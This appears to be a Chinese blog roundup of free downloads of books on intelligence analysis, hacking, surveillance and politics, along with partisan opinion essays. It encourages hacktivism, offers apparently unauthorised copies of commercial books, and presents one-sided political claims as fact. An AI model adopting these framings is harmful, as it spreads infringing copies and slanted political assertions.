要了解情报分析的作用，就必须了解情报分析如何与其他流程—— 尤其是决策流程和信息收集、包括收集管理流程—— 相呼应。这是一个环环相扣的完整机器。

下面即将上传的 ATP 2–33.4 是最新版。描述了情报分析过程和特定的分析技术、以及情报人员（尤其是全能分析师）执行情报分析的技术和技巧。

还讲解了情报分析如何促进指挥官的决策和对复杂环境的理解。

ATP 2–33.4 的主要受众是进行情报分析的初中级分析师—— 不论您是初学者、还是希望精进的调查爱好者，这份手册都会适合您。

它配有词汇表，您可以查找特定的术语和定义。

它还会详细：

- 讲解情报分析过程
- 讨论结构化分析技巧及其实现方法
- 讲述与情报分析有关的独特注意事项。

☞重申：不论您是为了分析互联网信息、社会新闻、从事公民调查捍卫真相、协助直接行动，或者单纯地不想做个糊涂人，这些知识都是

重要的。

不要错过 IYP 在4年前对情报分析技巧的介绍系列（当时为了避免误解，将“情报”更改为“信息”，分析技巧方面是一样的）：

– 《信息分析心理学：证据评估中常见的偏见（1）》

– 《信息分析心理学：局部一致的骗局和不确定性证据（2）》

– 《信息分析心理学：因果认知中的偏见（3）》

– 《信息分析心理学：因果认知中的偏见（4）》

（在网站搜索 “信息分析心理学” 可以找到上述内容）

这本书的讲述方法非常专业。

您可以在这里下载：https://t.me/iyouport/6947

下载：https://www.patreon.com/posts/38188830

43、《AppSec Ezine Public Repository》

「图」

从菜鸟到大师，来找一些好玩的东西——

提高对预防安全风险的认识具有挑战性。大多数人还不知道或者只是无法访问正确的信息。

跟上科技世界的步伐是一条黄金法则。如果您还没有准备好处理安全性问题，那么您可能会走向错误的方向。

AppSec Ezine 的诞生是出于管理与信息安全有关的内容的需要，每个版本涵盖了广泛的主题。

AppSec Ezine 专注于提供有关您应注意的问题（旧问题或新问题）的信息，并为您提供最新热门话题的概述—— 好奇心可以帮助您完成日常工作、或激发您对该主题的热情。

阅读这些内容无需基础。不论您是票友、n00bs、l33ts、还是大师，您都能发现一些新鲜而有趣的东西。

☞这份电子杂志分为4部分：

1、“必看—确实值得您花时间的事”：一些有用的知识和最新的资讯；

2、“黑客—功夫和技巧”：准备使用最佳工具完成工作是必须的。这一部分提供了一些能帮助您的操作更轻松的方法。

3、“安全—有关安全性问题的所有信息”：这部分涵盖了取证、恶意软件分析、高级利用技术、更多的漏洞赏金、漏洞研究，还有一些可能被滥用的OS功能，很酷的技术等等。

4、“好玩的东西—你有空吗？”：如果您想找一些很酷的东西，动手做一些有趣的事，尝试新技术，或者只是想要玩玩那些能开箱即用的东西，请打开这些链接。

您可以在这里下载这套打包文件：https://t.me/iyouport/6952

下载：https://www.patreon.com/posts/38188877

44、《ATTACKING NETWORK PROTOCOLS：A Hacker’s Guide to Capture, Analysis, and Exploitation》

「图」

在无法下线的世界里保护自己——

最初，允许设备连接到网络的技术仅限于大型公司和政府专用。而如今，绝大多数人都在口袋里揣着至少一个完全联网的电子设备，并且随着物联网（IoT）的兴起，您家的冰箱、电视机、灯泡、微波炉、甚至门铃 …… 都无法再下线了。

因此，联网设备的安全性变得越来越重要。

尽管您可能不太担心有人会窃取购买了多少酸奶的详细信息，但是，☞如果您的智能手机与冰箱在同一网络上遭到入侵，那么，您的所有私人信息和财务信息将被恶意攻击者全部抄走。

我们曾经介绍过很多设备本身的安全性问题，尤其是您可以如何操作以尽可能避免威胁；这本书则是基于网络的安全性问题，它同等重

要。

☞想要在连接网络的设备中查找安全漏洞，您需要采用最可能利用这些弱点的攻击者的思维方式。#对抗性思维

网络协议帮助网络上不同设备之间进行通信，并且由于这些协议必须暴露给公共网络 + 通常不会像设备的其他组件那样受到严格的审查，因此它们显然是最佳攻击目标。

许多书籍讨论了网络流量捕获，以用于诊断和基本网络分析的目的，但它们并未专注于捕获的协议的安全性方面。这本书的与众不同之处在于，它着重于分析自定义协议以发现安全漏洞。

这本书包含理论和实践两部分。对于实践的部分，作者已经自建并提供了一个称为 Canape Core 的网络库，您可以使用该库来构建自己的工具以进行协议分析和开发。

还提供了一个名为 SuperFunkyChat 的网络应用程序示例，该应用程序实施了用户到用户的聊天协议。您可以使用示例应用程序来学习协议分析的技巧，并尝试攻击示例网络协议。

如果您想从基础入手，请先阅读第1章。熟悉基础知识后，请继续阅读后面的章节，以获取捕获网络流量和网络协议分析过程的实践经验。

您可以在这里下载：https://t.me/iyouport/6955

下载：https://www.patreon.com/posts/38188905

45、《Hacking Raspberry Pi》

「图」

数字技术时代的反抗不需要上街——

在我们发布那份来自中国爆料的文件截图后，有读者询问 “疫情严重无法出门的情况下，如何反抗？”

是啊，这 *曾经* 是个问题，也是为什么在那份文件中当局如此思考；但是，在技术时代，尤其是在 Hactivism 崛起的时代里，反抗是可以不必上街的 ……

2020我们将逐渐加入一些 #Hactivism 的内容，从简单的开始，也许能帮您找到兴趣。由于这个概念至今都极具争议，我们也无心参与辩论；于是希望您能理解，这是一种可能性，在其他条件均失败的情况下的其他可能性，而非鼓励形式。

今天上传的这本书（看名字您就知道是什么了）中介绍的内容未来会被涉及。

树莓派已经是一个耳熟能详的名词，不论是否技术爱好者都至少听说过；这本书首先会从最基本的硬件层面带您熟悉树莓派，然后介绍启动和运行它所需要的东西；就算您不熟悉Linux命令行环境，这本书也能帮您解释。

不必担心，它的语言简单易懂，适合初学者。

此外，许多人都对制作自己的安全摄像机或网络摄像机感兴趣。使用 Raspberry Pi 做到这一点非常容易。并且，当您通过公共Wi-Fi热点、酒店房间等地方上网时，也可以使用 Raspberry Pi 来提高在线安全性和隐私性。

👉总之，发挥您的创造力，是成就事业的关键。黑客就是一门创造力的艺术。

许多 Raspberry Pi 项目都涉及一个或多个Python脚本。因此，您获得的使用该语言的经验越多，用起来就越容易。

这本书中包含大量任务，可为您提供有关使用 Raspberry Pi 进行设置、配置、故障排除和构建项目的指导经验。非常建议您亲手试试。

这是一个循序渐进的过程，所以，不要着急，您会成功的，虽然不一定是今晚睡觉前 ..... 😊

创意！创意哦！创意是生命力。

在这里下载这本书：https://t.me/iyouport/6959

下载：https://www.patreon.com/posts/38188955

46、《Hakin9：Hack The Box Series Returns (W15)》

「图」

从新手到熟手——

这套资料旨在让新手达到可以入侵系统的水平。如果您对黑客一无所知，也请不必担心，它会从头说起。

这不是纸上谈兵。您需要完成不少于41个问题的在线考试。这些问题旨在测试您的实战技能，而不是单纯记住书本上的知识。

一些内容包括：

– 课程说明

– 侦查

– 入侵Windows

– 入侵Linux

– 木马，病毒和蠕虫

– 入侵Web应用程序

– SQL注入

– 入侵检测和预防

– 缓冲区溢出攻击

– 以及更多

您可以在这里下载：https://t.me/iyouport/6962

47：斯诺登的书

「图」

《永久记录》(Permanent Record)，**完整** 中文版下载：https://t.me/iyouport/6935

下载：https://www.patreon.com/posts/38189363

不要购买中国出售的版本，其中删掉了大部分关键内容。现在已经将删除的内容补充完整。免费给中国读者。〇

—— 本系列双月月底更新 ——

原文

IYP优秀书籍汇总2020（11 ~ 12 月版）-完全免费下载 - iyouport

免费书和纪录片

【2020年12月11日存档】本系列在双月的月底更新

来看看本次汇总中有没有您感兴趣的内容？

1、《Of Privacy And Power: The Transatlantic Struggle Over freedom And Security》

「图」

在中美之间的争斗不仅仅是在中美之间——

「图」

近几个月内的大部分时间里，不论是中国舆论还是美国舆论，都集中在特朗普和蓬佩奥的对华政策“是对还是错”的讨论上；不同的仅在于，美国舆论广泛反对“净网”，中国舆论广泛赞同。

但所有明智的人们的共同点都是：希望民主国家能“赢过”专制国家。在此，IYP也一样。

📌 也正因为如此，我们需要能找到可以帮助民主国家取得胜利的真正有效的方法。不幸的是，有效的方法并非蓬佩奥的“净网”。

而是，联盟。民主国家之间的广泛联盟。但绝非5、9、14眼。

如上所述，在特朗普和蓬佩奥主导的故事中，所有人的注意力都放在了中国和美国身上；恰恰是在这个时段里，欧盟做了一件大事：结束了欧盟-美国之间的隐私盾协议。

2年多前，我们发布了一个观点《在三岔口：中国、欧洲和美国提供着完全不同的“互联网未来”》；从那时开始至今，这一观点都是权利

倡导组织中的主流观点。

事实上这是个悲伤的故事，而非什么值得追求的新世界—— 它可能不是逃离中美“高堡奇人”的路，更不是遏止中国方法。

正如这本书中所指出的，关于隐私和安全的争执不仅主导了中国和美国之间的冲突，也塑造了欧盟与美国之间的关系。

作者写道：长期以来，美国认为它可以将各国之间相互依存的关系武器化，以对付其他国家，而不会受到严重的打击，实行全球监控，并利用国际金融体系中的弱点来扼杀敌人，对朋友施加压力。而现在，它发现，其他国家也可以反过来将相互依存关系武器化，以对付美国。

例如，美国的政策制定者担心，如果华为为5G建设全球基础设施，中国将能够进行全球监控，甚至可能将各国从全球通信网络中切断，以惩罚它们。这对美国来说听起来像是一场灾难，但对欧洲人来说，却是滥俗的厌倦了。

正如一位玩世不恭的欧洲官员7月16日所说的那样：“美国希望防止中国能够做到像美国目前对世界其他国家所做的那样。”

📌 美国现在面临的战略问题与后911的即时世界不同了。它需要让其盟友积极合作，建立一个共同的相互依存领域，以更有力地对抗俄罗斯和中国等独裁国家，特别是在中国向支持全球经济网络的核心技术领域加速推进的情况下。

但目前为止，欧盟法院的这一判决只是引起了美国的敌意式反应。这非常糟糕，远超过蓬佩奥的“净网”是否有效的争论。

我们在讨论的是政治，而非仅仅是所谓的国家安全和公民隐私人权。

这本书是对监视政治如何进行变革的首次认真研究，它提供了关于信息和权力在经济相互依存世界中的作用的新观点。

尤其是在中美新冷战的热点时期，这本书的研究很重要。

下周我们将在文章中引述这本书。

下载：https://t.me/iyouport/7789

下载：https://www.patreon.com/posts/zai-zhong-mei-de-40490501

2、《Little Brother & Homeland》

「图」

最重要的英雄其实是你——

「图」

这里是两本书，在斯诺登泄密第7年也是香港抗议运动的次年，它推出了合订的新版。

斯诺登为它写了一篇序言；他指出了透明度革命能否成功的最关键问题—— 也就是我们曾经在《超越透明度革命》中作出的分析。

今天再次阅读这两本书，您将能够找到别样的感觉。

这两本书非常著名（虽然不一定在中国著名），于是我们就不写推介了，而是引述作者的一段话，如下：

在举报 AT＆T 的吹哨人 Mark Klein 走进电子前沿基金会旧金山办事处两年后，在 2008年我写下了关于监视和抵抗的小说《Little Brother》，他被勒令构建暗房以便让国安局间谍可以非法监视整个互联网。

此后的几年中，监视和反监视一直在稳步增长，从而激发了更多的吹哨人站出来，使人们对当权者如何使用联网计算机来维护其权力有了新的认识。

十年前的这个月，芬兰宣布互联网接入是一项基本人权，人们笑着指责。十年后，我们已经从争论我们所做的一切是否必然涉及互联网转变成了显而易见的事实，即 我们所做的一切都需要互联网。

斯诺登在离开香港酒店房间前往流亡地时，带走了一本《Homeland》—《Little Brother》的续集。在上述两本书新版的导言中，斯诺登讨论了在网络的推动下、在全球网络声援运动的支持下，香港起义的迹象一度充满希望。

而今天，香港的起义已经灰飞烟灭，大规模的逮捕行动已经开始。如果你需要证明网络在解放性和压迫性的刀刃上是平衡的，这就是。

有一个故事说，数字权利运动之所以开始，是因为技术崇拜者们确信

互联网会让我们所有人都获得自由；但如果你有这种确信，为什么还要发起一场运动呢？不，这场运动的存在归功于这样一个事实，即：任何对技术了解得足够多、能够欣赏其解放潜力的人，就一定会对它的压迫性潜力感到恐惧 ……

下载：https://t.me/iyouport/7792

下载：https://www.patreon.com/posts/zui-zhong-yao-de-40546628

3、《Tiny Python Projects》

「图」

在玩耍中学习，从业余到高手——

「图」

这是2020的新书。这本书将带您从初学者变为 Python 专业人士。从列表和字符串的基本知识到正则表达式和随机性，每个小项目都会教给您一个新的编程概念。

每一段漫长的旅程其实都是由很多小步骤组成的。学习 Python 时也是如此，所以您不妨在学习的过程中获得一些乐趣。

Tiny Python Projects 以轻松的风格写成，通过娱乐性的练习来培养强大的技能。在这一过程中，您还会发现测试如何使您在任何语言中成为一个更好的程序员。

谁说学习编程一定是枯燥的？这本书中的21个活动通过谜题和游戏来教授 Python 的基础知识。您不仅会在每一个练习中得到乐趣，而且会在学习的过程中逐渐成为高手。这是任何 Python 新手获得信心和经验的理想方式。

- 编写命令行 Python 程序
- 处理 Python 数据结构
- 使用和控制随机性
- 编写和运行程序和功能的测试
- 下载每个项目的测试套件
- 以及更多 ……

这本书适合所有初学者。

作者 Ken Youens-Clark 是亚利桑那大学的高级程序员，从事编程已有20多年。

下载：https://t.me/iyouport/7812

下载：https://www.patreon.com/posts/zai-wan-shua-xue-40620262

4、《The Terrorist Album: Apartheid’s Insurgents, Collaborators, And The Security Police》

「图」

秘密警察合法化，这意味着什么——

「图」

8月下旬，有一则重要的新闻似乎被人们忽略了，即：秘密警察合法化。

8月20日，澳门立法会全体会议细则性通过《修改第5/2006号法律〈司法警察局〉》法案，法例将于10月12日正式生效。

法案订明，将网络安全及国安案件的职权交由司法警察局（司警局）负责，另外增设3个与国家安全有关的处级部门，包括国安情报工作处、国安罪案调查处以及国安行动支援处。除此之外，为「方便司法警察局取得与犯罪相关的资讯」，执法人员只需在首次与其他部门资料互联前，通知个人资料保护办公室，日后即可以取得嫌疑人的资料。

📌 值得留意的是，按照法案修改内容第十一条第三款规定，由于从事维护国家安全、反恐等「秘密职务」的人员人身安全风险较大，故经适当说明理由后，行政长官可豁免公布有关人员委任、改变职务等资料 ……

⚠ 这意味着，司警局在任用人员执行维护所谓的国安等职务时，不必公开相关人员名单，外界亦无从得知，故相关人员被外界称为「秘密警察」。

在此次修改法案中，增设的处级部门中共有3个与所谓的 “国家安全” 有关，包括国安情报工作处、国安罪案调查处、以及国安行动支援

处。

这里关注的是 “秘密警察”。

众所周知，最有效的反抗是透明度革命，因为当权者只要保住秘密就能保住权力。

秘密警察也称为政治警察，或者更直接的说法是，维稳警察。因为他们的专职工作是以秘密的方式执勤、针对国内异议和反抗进行镇压和渗透，以保障当权者的利益。

📌 有显著秘密警察活动的国家就是众所周知的警察国家。另一种就是渗透，以进行资料搜集、包括暗杀等行动，一般称为卧底。

- 这篇文章的作者是美国的宪法律师：《不论政府关闭与否，警察国家都将继续蓬勃发展。还可以怎么办？》
- 这篇文章的作者是耶鲁大学法学院信息社会项目访问学者：《血族：美国人、IBM 和出口的数字警察国家》
- 关于当下我们每个人的处境：《警察国家的梦想》

澳门的新法案只是让这一切更为凸显和切实了。

也是8月份，safeguarddefenders 发布了一份简短的指南，动员公众记录和调查人权侵犯者—— 关于如何在中国内地和香港调查人权侵犯者的资产信息，以便结合《马格尼茨基人权法案》提交给相关国家予以制裁。

想法很好。同时也符合IYP对开源情报调查技术的支持。但是，在警察国家，除非公民能掌握自己的可靠的人脸识别数据库，否则这些基本方法可能会遇到问题。

因为秘密警察使用的是虚假的身份行动，假名字、假证件、假车牌 …… 简单说，除了脸部，也许您找不到其他可以揭示其真实身份的直接依据。于是，传统的开源情报调查能够在此帮到您的东西仅限面部识别搜索引擎。

澳门的新法案清楚地提醒了这件事。

秘密警察就如监视和政治渗透一样历史悠久，也因此，有大量的档案资料的揭露和反抗技巧的经验。

- 关于什么是《秘密行动》秘密警察会怎么做

关于秘密警察对反抗运动的渗透破坏，他们都是如何操作的：

- 《过去和现在的线人：政治渗透是如何操作的？（1）》
- 《针对反抗运动的政治渗透：政府线人如何操作（2）》
- 《渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3）》
- 《警察渗透抗议运动简史》

今天上传的是2020年的新书，来自一份被雪藏多年的档案，其主题至今仍然在被秘密警察所使用，即：将反抗者纳入“恐怖分子”黑名单，以进行针对性镇压。

至于当下时代同样的做法，可以通过 TheIntercept 的揭露看到，见“The FBI released a new trove of documents relating to its surveillance of black activists. They're mostly redacted”

如您所知，这本书很珍贵，尤其是在当下这个警察国家再次崛起的时代里。向来尖锐的 The Baffler 为它专门写了书评。

📌 尤其是，这些前秘密警察如今变成了最新的出口产品：作为所谓的“安全顾问”充当西方国家和跨国公司的维稳雇佣军。

如果您希望获得防御方法，前文中所有关联的链接都非常有效；如果您希望深刻了解这些噩梦般的历史对当下的意义所在，在下面下载这本书。

下载：https://t.me/iyouport/7815

下载：https://www.patreon.com/posts/mi-mi-jing-cha-40693613

5、《拜登新政府会释放吹哨人吗？》

「图」

「 感谢美国新闻人 *Kevin Gosztola* 的总结。*Kevin Gosztola* 是独立媒体 *Shadowproof* 的执行编辑，这是一家不接受任何资金的、完全读者支持的独立新闻机构，由前 *Firedoglake* 员工于*2015*年创立，致力于揭露政府和企业的权力阴暗面。 」

拜登-哈里斯过渡团队发布了“机构审查小组”成员的名单，这将为拜登及其内阁做好行政准备。

下面我们来研究一下这个名单里的人，了解一下他们都是些什么人。

1、**Matt Olsen**，此人是前奥巴马政府的官员。他曾担任 “国家反恐中心” 主任、NSA的总法律顾问、和关塔那摩黑监狱审查工作组的执行主任。

简单说，此人是美国情报体系中的大佬。

2018年，Olsen 担任Uber的首席安全官。

优步与其他公司一起 花费了数亿美元游说，以策动通过了加利福尼亚州22号提案—— 该提案将基于应用程序的运输公司和快递公司的驾驶员定义为 “独立承包商”，而非 “员工”，这样一来优步这些公司就可以 *避免* 提供员工福利和最低工资保障了。

并且，这个 Olsen 一直在狡辩，称 斯诺登（Edward Snowden）透露的大规模监视的秘密 “与隐私和公民自由关系不大”；他还为并没有定义敌人的所谓“反恐战争”站台，夸大威胁坚称恐怖分子 “改变了行为以避免被发现”：

Olsen 为互联网通信后门监视的恶行辩护，和其他所有老大哥的狡辩一样：https://www.justsecurity.org/47470/warrantless-backdoor-searches-business-usual-a-response-matt-olsen-asha-rangappa/

2006年 ~ 2009年，Olsen 作为司法部国安司副总检察长，帮助打破障碍，以允许检察官在刑事案件中使用通过秘密行动和无证非法监控收集的情报。他甚至制定了扩大那个臭名昭著的《外国情报监视法》的规定：https://www.theatlantic.com/politics/archive/2011/07/getting-know-nominated-counterterrorism-chief/352419/

2、**Greg Vogle**，此人是 McChrystal Group 的合伙人—— 该集团由联合特种作战司令部（JSOC）前司令官 Stanley McChrystal 创立。他是中央情报局阿富汗站的负责人。

这个 Vogle 也是美国情报体系中的大佬。

Vogle 还是 DGC International 的顾问，该公司是由阿富汗商人 Mustafa Zamani 创立并领导的美国军事承包商。

DGC提供的一些服务示例 见下图，以便美军可以维持其在中东的主导地位：

「图」

「图」

「图」

3、**Eric Velez-Villar**，此人在联邦调查局（FBI）工作了30年，最终成为情报部门的高级主管。他离开间谍机构后成为了迪士尼公园和度假村的安全负责人，其职责是：保护公司的所谓 “敏感信息”。

再一次，此人也是美国情报体系中的大佬。

4、**Carmen Middleton**，此人也曾为迪士尼工作，她还曾任中央情报局副局长。她是中央情报局排名最高的拉丁裔官员。

Middleton 也是美国情报体系中的大佬。

5、**Bob Litt**，此人是国家情报局（ODNI）办公室的前总顾问。他曾与那个否认斯诺登文件所揭露的侵权行为的 臭名昭著的 詹姆斯·克拉珀（James Clapper）合作，并参与了美国情报部门对斯诺登揭露的回应。

这个 Litt 也是美国情报体系中的大佬。

「图」

在《纽约时报》发表社论暗示克拉珀在电话元数据监视上对国会撒谎之后，这个 Litt 为克拉珀辩护：https://www.dni.gov/index.php/newsroom/press-releases/press-releases-2014/item/996-letter-to-the-new-york-times-editor-from-odni-general-counsel-robert-litt

当任何一家美国报纸披露美国政府运作的大规模监控计划的一些新的方面—— 例如，NSA如何存储 “数以亿计的设备“ 的位置数据时 ，这个 Litt 就开始做洗地的工作，以确保媒体对吹哨的曝光 不会 爆发出导致改革的丑闻。

- ○ ■ ■ ■ ■ 总之：这群“情报体系”中的大佬 不会支持 放弃对 Edward Snowden 或 Daniel Hale 等吹哨人的指控；他们甚至 不会反对 起诉 Julian Assange，即使当年奥巴马的司法部认为起诉

Julian是违宪的。

📌 在下面回顾Assange听证会中文笔记：

上半部分：《“他们射杀儿童，而营救的人却受到了惩罚”—IYP获授权发布 Julian Assange 引渡听证会部分重要内容（上）》

下半部分：《间谍公司、被入侵的手机、被泄漏的密码—IYP获授权发布 Julian Assange 引渡听证会部分重要内容（下）》

6、**Linda Thomas-Greenfield**，曾任美国负责非洲事务的助理国务卿，并曾任奥尔布赖特·斯通布里奇集团（Albright Stonebridge Group）非洲部门的高级副总裁。

作为美国对撒哈拉以南非洲地区政策的开发者和经理，她曾为乔治·W·布什总统的“千年挑战帐户 MCA”助威。MCA 是新殖民主义，它的目的是使美国公司享有特权，并使非洲新兴经济体受到剥削。

「图」

Thomas-Greenfield 也是国务院机构审查小组的负责人，这可能是拜登将提名苏珊·赖斯（Susan Rice）担任国务卿的最明显迹象之一。当赖斯因“外交灾难“ 而在《纽约时报》的网页上被攻击时，她为赖斯辩护。

奥尔布赖特·斯通布里奇集团（Albright Stonebridge Group ASG）是由前国务卿马德琳·奥尔布赖特（Madeleine Albright）担任主席的全球咨询公司，尽管有50万儿童死亡，他依旧在1990年代为美国对伊拉克实施制裁的政策辩护。

该名单上还有另外两名来自ASG的人员。

7、**Roberta Jacobson** 是前美国驻墨西哥大使，并称自己是“拉丁美洲商业和政治”专家。她也曾在奥尔布赖特·斯通布里奇集团工作。

2014年，美国支持的右翼反对派在查韦斯（Hugo Chavez）死后将尼古拉斯·马杜罗（Nicolas Maduro）驱逐出境的情况下，抓住了权力真空的机会。他们升级了街头暴力和封锁，导致多人死亡。

而 Jacobson 和其他官员完全无视这些人的战术并支持他们的暴力。

「图」

「 感谢美国新闻人 *Kevin Gosztola* 的总结。*Kevin Gosztola* 是独立媒体 *Shadowproof* 的执行编辑，这是一家不接受任何资金的、完全读者支持的独立新闻机构，由前 *Firedoglake* 员工于*2015*年创立，致力于揭露政府和企业的权力阴暗面。 」

6、《Tea War : A History of Capitalism in China and India》

「图」

一本新书，揭示了世界上一个完全不同但又紧密相连的部分，另一段阶级、资本和不平等的历史。

它为理解跨国竞争如何改变人权这一问题，提供了一个工具。

iPhone11在印度生产的消息通过互联网新闻讲述了一个中印之间和美中之间带有浓郁民族主义色彩的竞争故事，但是，这似乎听起来有点耳熟 ……

关于这本书的介绍，详见《茶杯里的风暴：殖民贸易及印度和中国的资本主义起源》。

下载：https://www.patreon.com/posts/43883786

7、《COMPUTER PROGRAMMING FOR BEGINNERS: 4 Books in 1》

「图」

4合一， 全面服务于初学者——

「图」

这是今年的新书。4合一：

- LINUX Command-Line for Beginners,
- Python Programming for Beginners
- Networking for Beginners,
- Hacking with Kali Linux

如果您想了解更多关于 Linux 和 Python 编程的知识、更好地掌握网

络和黑客技术、以做到最有效地保护您的系统，那么这套书应该很适合您。

它从一份简单易用的指南开始，帮助您从头学习 Linux 操作系统，如何安装它，不同的发行版，如何编写脚本，以及一些基本的和高级的shell命令。

接下来会进入循序渐进的指南，您将获得 Python 编程的基本知识；您会发现有大量的代码示例，使学习过程更加轻松。

接下来是不同类型的网络攻击的概述，关于攻击者都会遵循哪些步骤以针对您的系统。

最后它将介绍在黑客攻击和保护网络方面寻找系统漏洞的最佳方法，帮助您自行检测。

无论您的计算机技术水平如何，它都可以作为最简单易用的指南，足够协助您在 Linux 和 Python 方面获得完整的黑客和网络知识。

下载：https://t.me/iyouport/7843

下载：https://www.patreon.com/posts/4he-yi-quan-mian-40839994

8、《Telling China's Story: The Chinese Communist Party's Campaign to Shape Global Narratives》

「图」

讲述中国故事：中国共产党塑造全球性叙事的运动——

「图」

早前我们发布过一本书，以及介绍这本书的文章，在这里看到《你的叙事》；中国是运用这种操纵最直接的案例，虽然并非第一个案例。

资源充足的国家已经表现出其自身在传统和社交媒体生态系统中同时开展影响力行动的复杂能力。俄罗斯、中国、伊朗和其他一大批民族国家控制着拥有大量受众的媒体资产，其影响范围往往远远超出其边界。

- 特别推荐这份报告《看清信息战：2019全球有组织社交媒体操纵清单》

这些国家也被牵扯到社交媒体公司对账户和页面的审查中，这些账户和页面涉及虚假ID和可疑域名、或通过协调的传播策略来推动对某些特定内容的关注，或创造一种特定叙事极受欢迎的感觉。

- 《网络水军如何不断操纵您在社交媒体上看到的内容》

📌 这就提出了一个重要的问题：拥有全方面宣传能力的国家行为者如何将其运用到现代信息行动中？

虽然今天的信息行动所涉及的一些技术是新的，但其背后的战略思维和野心却由来已久。

在中国尤其如此，在那里，中共（CCP）长期以来一直将虚假信息作为优先事项，以推进其对国内权力的垄断、对全球领导权的宣称以及对铁血主义的渴望。

该国已经建立了一个庞大的基础设施，通过印刷和广播媒体、人与人之间的交流以及经过培养的线人网络等工具，在国内外操纵信息并传播其偏好的叙事。

今天的新兴技术正在加强这些已经长期存在的能力，使其传播速度和病毒性更强，并提供了接触新的受众和传播信息的途径。

- 推荐报告 《毒霾—监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别》

这种能力的范围，以及影响力活动向境外扩展的情况，已经开始令很多人将中国与俄罗斯进行比较。例如，两者都使用混合战略，利用社交媒体账户与国家媒体协同作战，而且两者都通过在社交媒体平台上创建 *假人，使 “影响力代理人” 这一类似概念现代化。

然而，重大的差异依然存在。

📌 差异是什么？中国是如何操作的？它的目标是什么？最常用的手段都有哪些？

下面即将上传的是一份调查报告，以针对香港、台湾和冠状病毒疫情为例，解释 “中国式叙事” 到底是个什么东西 ……

下载：https://t.me/iyouport/7846

下载：https://www.patreon.com/posts/jiang-shu-zhong-40001844

9、《谁才是宣传者》

「图」

一些人认为："选择那些认证的大牌媒体记者账户发布的消息，他们不会说假话"；而另一些人则认为，"那些认证账户才是说假话的人，是宣传者—— 就如王尔德所言：给人一张面具，他们才会对你说真话"。

那么究竟哪个才是对的？或者说，谁才是真正的宣传者？

其实，这两个说法在某部分程度上都对，而在其他部分上则都不对。

最近我看到了 Noam Chomsky 的一段话视频如下，下面解释一下：

刚开始研究世界问题的人们经常会很明显地感觉到那些所谓的主流媒体的新闻记者一直在有意识地向人们进行宣传。他们想方设法诱骗受众去支持战争、服从于寡头政权和压迫，以造福于他们的专制统治者。

于是人们说："那些记者是宣传者"。

而学到更多知识后，您就会意识到，事情并非真的如此。大多数主流新闻记者并没有真正地在煽动宣传—— 相反，在富人资助的智囊团和其他叙事操纵机构、以及在向新闻媒体提供旨在提高政府自身利益的信息的不透明机构中，您能更多地发现这些宣传者。

所谓主流媒体的新闻记者表现得就像宣传者的主要原因是，如果您希望自己被主流新闻机构所雇用，您就需要将自己的思想带入一个 不以事实为依据的、以富豪金主的利益为目标的 世界观里。

为了在主流媒体找到工作，你需要证明自己认同寡头的世界观，这种世界观构成了西方大众媒体的全部内容。你需要证明自己已经被适当地灌输了，并且你可以主动去跟随这一思考方式，而不是明确地指出其中的错误。

如果他们确实告诉您他们 故意 向公众撒谎以提高强权者的利益，那将是宣传。宣传就是在像俄罗斯这样的邪恶落后的国家发生的事。

而在这里，所谓的主流建立的所谓正统，本质上是一种宗教，与其他宗教一样都是虚假的和垄断权力的，如果您想在主流政治或媒体中工作，您就需要证明自己 *是* 该宗教的成员、是最忠诚的信徒。

当您注意到顶着蓝V认证的所谓大牌媒体记者在推特上宣传帝国利益和为现状政治洗地时，您看到的就是这些。

他们并不是在妄想自己说了什么新的或有见地的东西；他们是在发出信号—— 他们是在让现在和未来的同行和雇主知道：”我是信仰者，我是这个体系的一员”。这样就能保证他们在主流新闻媒体中的事业持续发展。

这就是为什么您会看到，任何对建制派叙事表示怀疑的人都被贴上 “阴谋论者”、”有用的白痴”、”俄罗斯资产” 或 “阿萨德主义者 “等标签的原因；那些明白谁控制了叙事谁就控制整个世界的有权势的人需要去给那些不服从的小卒贴上这样的标签，以区分信徒和异教徒。这和您所知道的 “异教徒” 的意思是一样的。

在全世界范围内都是如此—— 迅速而简单的致富和成名方式从古至今都是如此：即 促进权贵的利益。在社会上所有地方都是这样的，在媒体界当然也是这样的。

这就是为什么那些倾注精力批判现有权力结构并对其动态进行明察暗访的公民，不可能住进豪华的别墅或参加任何豪华的派对，他们没有任何机会发财；而那些顺从者才能。

当有人设立社交媒体和博客账户，将批判权贵作为毕生的事业时，他们就会被骂成“贪财的骗子”。

您在屏幕上看到的那些被财阀的喉舌（即 所谓的主流媒体）推上屏幕的人，并不是在说假话，他们说的就是他们想的东西；他们并非口是心非。他们中的大多数人都相信自己所说的一切，因为他们已经被背后的宣传 *培养成了* 这一宗教的好信徒。

这个世界上被宣传侵蚀最为严重的人，事实上正是那些到处对他人进行“宣传”的人。而真正的宣传者并不怎么说话，他们在背后控制着一切。

那么，对于广大受众来说，究竟选择什么样的信息源才能避免被虚假蒙骗呢？蓝V认证的大牌媒体记者？还是一文不名的独立媒体记者？还是其他人？…… 最可靠的答案是：请发挥您的判断力。您可以不懂

政治、可以不理解经济、可以对权力关系一无所知，但您肯定知道什么是公平什么是压迫，所以请问自己：这公平吗？这样做的结果是对99%的我们最有利、还是对那1%的权贵最有利？

除了那些被宣传侵蚀到完全透明的人，其他人不会在此出现误判。

10、《Hands On Hacking》

「图」

掌握恶意黑客的工具，运用道德黑客的智慧——

「图」

每个人都可以通过对手的眼光来审视自己、并运用黑客技术来更好地了解计算机网络和数据的现实风险。

这是今年的新书。作者在黑客领域有多年经验，一直在进行网络攻击方面的培训。

📌 这本书详细介绍了各种黑客所使用的工具，策略和程序—— 包括由现实世界中政府资助的黑客团队开发的工具。

互联网上有大量有关如何 “入侵” 的信息，但是试图将所有这些信息组合成对新手来说可消化的东西，绝对是一项艰巨的任务。大量的信息很容易使初学者不知所措，甚至因此放弃。

而这本书提供了一种 *结构化* 的方法帮助您学习这些技术，它提供了一门课程，教授您关于恶意行为者的工作方式和必需的基础技能；它不仅回答了“如何”发起某些攻击，而且回答了“为什么”在不同情况下使用不同的技术和工具。

几乎每章中都有实践活动，您可以随时进行练习，它也提供了很多演示。这本书的开头介绍了许多概念，都是后面用得到的东西，这些概念适用于不同的黑客领域。在后面的章节中您会发现一些小的提示，以了解以前介绍的工具和技术，以及在新设置中应用它们的方式。

准备好进入，从基本功到高级技术的飞跃。

下载：https://t.me/iyouport/7869

下载：https://www.patreon.com/posts/zhang-wo-e-yi-ke-41026214

11、中文书！《齐泽克的笑话》

「图」

深刻之轻：笑声与革命——

「图」

